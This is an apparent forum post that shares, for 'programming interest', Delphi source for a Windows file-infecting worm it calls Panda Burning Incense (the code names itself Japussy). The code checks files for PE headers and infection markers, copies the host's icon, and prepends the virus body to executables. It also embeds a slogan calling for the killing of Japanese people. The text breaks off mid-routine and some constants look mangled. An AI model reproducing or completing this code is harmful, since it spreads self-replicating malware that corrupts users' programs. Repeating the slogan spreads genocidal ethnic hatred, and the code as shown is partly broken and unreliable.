供感兴趣编程的人参考啊,熊猫烧香源
码:
program Japussy;
uses
Windows, SysUtils, Classes, Graphics,
ShellAPI{,
Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = EB8; //PE 文件主图标的偏移量
//在我的 Delphi5 SP1 上面编译得到的大小,其它版本的 Delphi
可能不同
//查找 2800000020 的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx 压缩过病毒体的大小
IconOffset = BC; //Upx 压缩过 PE 文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE 文件主图标的大小 744 字节
IconTail = IconOffset + IconSize; //PE 文件主图标的尾部
ID = 444444; //感染标记
//无用码,以备写入
Catchword = 'If a race need to be killed out, it must be
Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType:
Integer): Integer;
stDCall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系统标记
{ 判断是否为 windows 9.X 版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if
(Ver.dwPlatformID
=
VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer;
Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的 PE 文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream
:=
TFileStream.Create(ParamStr(0),
fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream,
sStream.Size
-
HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充 STARTUPINFO 结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State:
Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//邮件终止
end;
{ 感染 PE 文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自
己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream
:=
TFileStream.Create(FileName,
fmOpenRead);
try
for i := 0 to 8 do //检查 PE 文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE 标记
begin
IsPE := True; //是 PE 文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then // 小 于
10240 的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是 PE 文件
则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744 字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle
:=
ExtractIcon(HInstance,
PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream
:=
TFileStream.Create(FileName,
fmOpenRead);
//头文件
HdrStream
:=
TFileStream.Create(ParamStr(0),
fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream,
IconOffset,
IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail,
HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize,
SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);